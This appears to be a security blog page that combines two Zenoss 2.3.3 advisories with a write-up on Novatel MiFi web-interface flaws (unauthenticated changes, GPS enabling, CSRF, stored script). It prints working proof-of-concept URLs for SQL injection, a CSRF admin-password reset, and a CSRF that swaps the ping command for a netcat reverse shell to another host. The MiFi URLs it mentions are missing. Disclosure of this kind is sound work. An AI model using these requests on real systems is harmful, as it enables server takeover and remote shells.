Advisory ID: NGENUITY-2010-001 - Zenoss getJSONEventsInfo SQL Injection Application: Zenoss 2.3.3 Vendor: Zenoss Vendor website: http://www.zenoss.com BID: 37802 I. BACKGROUND "Zenoss Core is an award-winning open source IT monitoring product that effectively manages the configuration, health and performance of networks, servers and applications through a single, integrated software package."  II. DETAILS getJSONEventsInfo contains multiple SQL Injection vulnerabilities due to improperly sanitized user provided input. The following URL parameters are injectable: severity, state, filter, offset, and count. Authentication as an admin or regular user is required for successful exploitation. Depending on the type of attack, it may also be accomplished via Cross-Site Request Forgery (CSRF). A proof of concept request might look like this /zport/dmd/Events/getJSONEventsInfo?severity=1&state=1&filter=& offset=0&count=60 into outfile "/tmp/z"
III. REFERENCES  - http://www.zenoss.com  - http://popminute.com IV. VENDOR COMMUNICATION 3.10.2009 - Vulnerability Discovery 8.21.2009 - Requested status from vendor 9.29.2009 - Vendor call (Fix pending) Update 1.21.2010 This vulnerability was fixed prior to version 2.5. http://dev.zenoss.org/trac/changeset/15257
The MiFi by Novatel Wireless (re-branded and sold by multiple vendors such as Sprint and Verizon) is a mobile wifi hotspot. The mifi also has a built in GPS to provide location based searching. Turns out that the web interface to this little device has a lot going on that can be exploited, from gaining the user’s GPS data to terminating the user’s connectivity. Before we get into the details let’s start with a story that begins right after I found the initial vulnerabilities (besides notify the vendor).
We realized that a valid session was not required and that it would kill the connection for Verizon users with firmware version 11.43.2 (I think). Adam was without Internet and had to factory reset his MiFi.
So there are a few things going on that make this possible. I will try and detail them here.
1. Authentication not required.
The MiFi does not require a valid session to commit changes to configuration settings. This makes exploiting the below issues a lot easier when you don’t have to require that the victim have a valid session.
2. Enable GPS without the users knowledge.
The GPS on a MiFi can be enabled by visiting the following URL. Depending on the situation the victim may get a alert that says “Login Required” but if they are like the typical user they will simply click on it and forget it ever happened.
3. Cross-Site Request Forgery (CSRF)
The web interface does not validate referrer or use any magical tokens to protect against CSRF. This means that we can have a victim visit our malicious website and do evil things like change the wireless settings of the MiFi.
4. Output Encoding
In multiple locations of the MiFi web interface user input is not properly encoded when output back to the user. One interesting location is the key field for the TV wifi settings. I’m wondering why the hell somebody thought it was a good idea to print the wifi key in clear text back to the user, and in this case it’s not properly encoded either giving us a nice 63 character persistent injection point for script.
So for those that weren’t paying attention: Any MiFi user that visits a specially crafted page will give up their GPS location to the attacker.
A video clip for the Sprint MiFi (firmware AP 11.47.17, router 018.0101) of the working proof of concept.
III. REFERENCES (via Pop Minute)
Advisory ID: NGENUITY-2010-002 - Zenoss Multiple Admin CSRF Application: Zenoss 2.3.3 Vendor: Zenoss Vendor website: http://www.zenoss.com I. BACKGROUND Zenoss is a commercial and open source systems and network monitoring tool. Much of the applications functionality is accessible via a front end web application. II. DETAILS
Multiple CSRF vulnerabilities exist that can allow for arbitrary commands to be executed on the Zenoss server as well as reset the Zenoss admin password. Attack scenario: If an administrator has an active Zenoss session and visits one of these links or visits a malicious page that contains resources to point to these URL's 1. Reset user password to a known state Cross-Site Request Forgery CSRF, in this case the password is reset to letmein. http://172.16.28.5:8080/zport/dmd/ZenUsers/admin?defaultAdminLevel:int=1& defaultAdminRole=ZenUser&defaultPageSize:int=40&email=&eventConsoleRefresh: boolean=True&manage_editUserSettings:method=Save&netMapStartObject=&pager=& password=letmein&sndpassword=letmein&zenScreenName=editUserSettings 2. Change and execute a command CSRF. Change the ping command to be a netcat shell out to a remote system. In this case an internal system running on port 443 http://172.16.28.5:8080/zport/dmd/userCommands/ping?command:text=nc -e /bin/bash 172.16.28.6 443&commandId=ping&description:text=& manage_editUserCommand:method=Save&zenScreenName=userCommandDetail Execute the new "ping" command: http://172.16.28.5:8080/zport/dmd/Devices/devices/localhost/manage_doUserCommand?commandId=ping
III. REFERENCES (via Pop Minute)  - http://www.zenoss.com IV. VENDOR COMMUNICATION 3.10.2009 - Vulnerability Discovery 8.21.2009 - Requested status from vendor 9.29.2009 - Vendor call (Fix pending)